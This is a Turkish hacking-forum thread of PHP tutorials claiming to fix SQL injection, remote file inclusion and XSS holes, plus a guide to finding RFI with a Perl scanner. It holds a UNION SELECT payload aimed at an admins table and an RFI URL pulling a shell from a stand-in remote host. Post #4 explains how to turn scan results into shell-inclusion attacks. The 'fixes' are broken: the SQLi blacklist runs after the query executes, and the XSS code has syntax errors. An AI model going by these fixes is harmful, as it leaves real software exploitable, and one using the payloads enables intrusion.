İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Sisteminizdeki Açıkları Kapatın !!

18-02-2014 18:51
#1
ALcatraz' - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2013
Nereden:
İstanbul
Mesajlar:
4.269
Teşekkür (Etti):
968
Teşekkür (Aldı):
1755
Konular:
1022
Ticaret:
(0) %

--------------------------------------------------

Anlatım = SQL İnjection - Fix SQL İnjection Vuln.
Anlatımı Yapan = ALcatraz' / TurkHackTeam

www.turkhackteam.net


--------------------------------------------------

Selamun Aleyküm..


Bu Makalemde SQL İnjection Fix Lemeyi Göstereceğim..


Bu SQL İnjection Karakter Filtrelememe Gibi Sorunlardan Oluşur Çoğunluk.

Örneğin..


Kod:
<?php

$castid=$_GET['cid'];

$sorgu=mysql_query("select * from oyuncular where id='$castid'");

?>
Burada yapacağımız Şey örneğin Şöyle Bir Exploit Yazalım..


detay.php?cid=+union+select+1,2,3,version(),5,6+fr om+admins--


Şimdi Burada castid filtrelenmediği için ben buraya SQL Kod enjekte Ederek istediğim veriyi çekebilirim.

Örneğin

$sorgu=mysql_query("select * from oyuncular where id='$castid'");


Şu Bölümde select demiş seç. Ardından From oyuncular. Oyuncular tablosunu yada şöyle diyeyim..


Burada örneğin karakter filtrelenmemiş ve ben

detay.php?cid=+union+select+1,2,3,version(),5,6+fr om+admins--

Buradaki kodumuzu çalıştırabilirim. Burada Direk Bi Sorgu yapmış Ve oyuncular tablosundan veriyi çekmiş.

Bunu bizde SQL Kod lar İle Yapabiliriz..

Peki Nasıl Fix leriz ?


Bunun Bir Çok Yolu Var.Ben Karakter Filtrelemeyi Seçiyorum..

Kod:
<?php

$castid=$_GET['cid'];

$sorgu=mysql_query("select * from oyuncular where id='$castid'");

?>

Şimdi engel adlı bi değişken yapalım..


Kod:
$engel = array("+" , "=" , "#" , "*" , "//" )
Burada array içine filtrelenmesini istediğimiz karakterleri yazıyoruz.örneğin en çok kullanılan +, * gibi işaretler.

ardından


Kod:
$castid = str_replace($engel , "" , $castid);
$sorgu = str_replace($engel , "" , $sorgu);

Şimdi Toparlayalım..

Kod:
<?php


$castid=$_GET['cid'];

$sorgu=mysql_query("select * from oyuncular where id='$castid'");

?>

$engel = array("+" , "=" , "#" , "*" , "//" )


$castid = str_replace($engel , "" , $castid);
$sorgu = str_replace($engel , "" , $sorgu);

Şimdi Burada Array içerisine istediğimiz karakterleri yazıyoruz engellenmesini istediğimiz.


Sonrasında değişkenleri yazarak .. str_replace içine ilk önce $engel i yazdık.


Şimdi Buradaki olay şu.



En Sona

Kod:
$castid = str_replace($engel , "" , $castid);

castid yazdım.Yani İnjection uygulanan bölüm.enjecte edilirken kodlar buraya ediliyor.

başada

$engel yazmışım ve ortaya tırnak içinde boş biyer bırakmışım.



Burada castid e gelen yapılan atakta kullanılan karakterleri

boşa çevir yaptık.Hangi KArakterleri İstediysekte en başa Yaptık.


Biraz Karışık oldu ama iyice okursanız anlarsınız..


Kod:
$engel = array("+" , "=" , "#" , "*" , "//" )


$castid = str_replace($engel , "" , $castid);
$sorgu = str_replace($engel , "" , $sorgu);

Baştan yapalım tekrar için.

str_replace yeniden gibi bi anlam taşır.

str_replace den sonra $engel yazdım yani engellenmesini istediğimiz karakterleri . ordaya "" içinde boş bırakmışım , ardından castid yani enjeksiyon uygulanan bölümü.

sql injection uygulanan bölüme yazılan karakterleri boş a çevir demişiz.Karakterleride array içinde belirtip

Kod:
$engel = array("+" , "=" , "#" , "*" , "//" )
en başa yazdık.


Böylelikle şöyle bi sorgu olduğu zaman

Kod:
union+select+1,2,3,version()+from+admins--
burada belirtilen karakterler boşa çıkacaktır ve atak olumsuz olacaktır..


Bu Makalede Bu kadar.. Konu kilitli kalıp makaleler devam edicektir.

Her zamanki gibi ALcatraz' Sundu.
Kullanıcı İmzası
En çok ne zoruma gidiyor biliyor musun? "Ülkem" diye kaydetmiştin beni telefonuna. Kalbimi parçalara ayırdın, hani vatan bölünmezdi?

Yokluğun bilinç altımdayken , varlığın kimin altında merak ediyorum.

18-02-2014 20:28
#2
ALcatraz' - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2013
Nereden:
İstanbul
Mesajlar:
4.269
Teşekkür (Etti):
968
Teşekkür (Aldı):
1755
Konular:
1022
Ticaret:
(0) %
Anlatım = Remote File İnclusion - Fix Rfi Vuln.

Anlatımı Yapan = ALcatraz' / Turkhackteam

www.turkhackteam.net


--------------------------------------------------




Selamun Aleyküm...



Bu Makalemde Rfi Açıkları Nasıl Fixlenir Ondan Bahsedeceğim..



Rfi Açıkları Bir Değerin Tanımlanmamasından Meydana Geliyordu..



Örnek:

alco.php


Kod:
<?php

include( $alcatraz );

Burada Tanımlanmamış bi örnek..



Biz Bunu Tanımlamassak Şöyle Kullanabiliyorduk.


Kod:
http://www.rfi.com/alco.php?alcatraz=http://www.shell.com/shell.txt?

bu şekilde çağırıyorduk.

Ama Biz alcatraz'ı Tanımlarsak Sorun ortadan kalkar.


Fix :



Kod:
<?php


$alcatraz = 'THT';

include( $alcatraz );

Bu Şekilde Tanımladık...

Artık Shell Adresi İle Doldurulamaz.

Selametle
Kullanıcı İmzası
En çok ne zoruma gidiyor biliyor musun? "Ülkem" diye kaydetmiştin beni telefonuna. Kalbimi parçalara ayırdın, hani vatan bölünmezdi?

Yokluğun bilinç altımdayken , varlığın kimin altında merak ediyorum.
18-02-2014 20:29
#3
ALcatraz' - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2013
Nereden:
İstanbul
Mesajlar:
4.269
Teşekkür (Etti):
968
Teşekkür (Aldı):
1755
Konular:
1022
Ticaret:
(0) %
Anlatım = Cross-Site Scripting - Fix Xss Vuln.
Anlatımı Yapan = ALcatraz' / THT

www.turkhackteam.net

--------------------------------------------------



Selamun Aleyküm..


Bu Makalemde Xss Açığı Nasıl Fixlenir Onu Gösterecem..


Bunun Ben 2 Yolunu Göstereceğim.Tabi Bir Sürü Yolu Var.Ben Etkili olan 2 Yolu Göstereceğim..

Xss Açığı Değişkenin Kotrol Edilmemesinden de kaynaklanır.


Örnek :

Kod:
<?php

$esc = $_GET['esc2'];

echo $esc

?>
Burada Direk Kontrol edilmeden Yansıtılmış..



--- Fix 1



Kod:
<?php

$esc = htmlspecialchars($_GET['esc2']);
htmlspecialchars fonksiyonu Bazı karakterlei Değiştirerek Ekrana alert vermesini engeller.

--- Fix 2



Kod:
<?php

if(isset($esc = $_GET['esc2']));

echo htmlentities($_GET ['esc2], ENT_QUOTES);

?>
Evet Yanlış Yazmadık

Burada İf ile kontrol Ediyoruz..

htmlentities ilede < , > gibi karakterlei '<' , '>' gibi karakterlere çevirir.Ve Bu kodlarda zararsız olup ataklarda kullanılamaz..

Bu arada Eksiklik Yapmışım Kusura bakmayın.. ENT_QUOTES eklemeyi unuttum..

ENT_QUOTES = Bu kod ise Tırnak İşaretlerini Filtreler..

Evet Bu Makalemde Bukadar..

Selametle..
Kullanıcı İmzası
En çok ne zoruma gidiyor biliyor musun? "Ülkem" diye kaydetmiştin beni telefonuna. Kalbimi parçalara ayırdın, hani vatan bölünmezdi?

Yokluğun bilinç altımdayken , varlığın kimin altında merak ediyorum.
18-02-2014 20:29
#4
ALcatraz' - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2013
Nereden:
İstanbul
Mesajlar:
4.269
Teşekkür (Etti):
968
Teşekkür (Aldı):
1755
Konular:
1022
Ticaret:
(0) %
Selamun Aleyküm

--Sizlere Scriptlerde Rfi Nasıl Aranır onu Göstereceğim.


Şimdi Başlayalım.

Malzemeler:

1.Script
2.Active Perl
3.Inc.pl

--İlk Önce ActivePerl i Pc mize Kuruyoruz
--Sonra İnc.pl ve Script imizi (Klasör Halinde) Activeperl programımızın dizinine atıyoruz.



1.Adım ;
Cmd Den İnc.pl Ve Scriptimizi Attığımız dizine iniyoruz ve inc.pl yi resimdeki gibi Açıyoruz.

Burada BizeDirectory to read?= Kısaca Script Klasörünün ismini yazın diyor.



2.Adım ;



Taramaya Başladı Ve Taradıktan sonra Inc.pl nin Bulunduğu dizineresults.html olarak kayıt etti.

Bakalım Bulmuşmu?

İşte Sonuç ;




İşte Bu kadar.

Peki Nasıl Kullanırız ?

Mesela Sonucumuz Böyle Olsun.

Script/html/modules.php -- include($modpath);

Bu Şekilde Çeviriyoruz = www.turkhackteam.net/html/modules.php?modpath=[Shell?]

Olarak Yapıyoruz.Bu konuda Bu kadar.

Selametle
Kullanıcı İmzası
En çok ne zoruma gidiyor biliyor musun? "Ülkem" diye kaydetmiştin beni telefonuna. Kalbimi parçalara ayırdın, hani vatan bölünmezdi?

Yokluğun bilinç altımdayken , varlığın kimin altında merak ediyorum.
VATAN22 Teşekkür etti.
18-02-2014 23:35
#5
Dienw - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2013
Nereden:
Belli Değil
Mesajlar:
868
Teşekkür (Etti):
89
Teşekkür (Aldı):
91
Konular:
128
Ticaret:
(0) %
Emek verilmiş makaleyi yazmak için belli (: Eline sağlık.
ALcatraz' Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı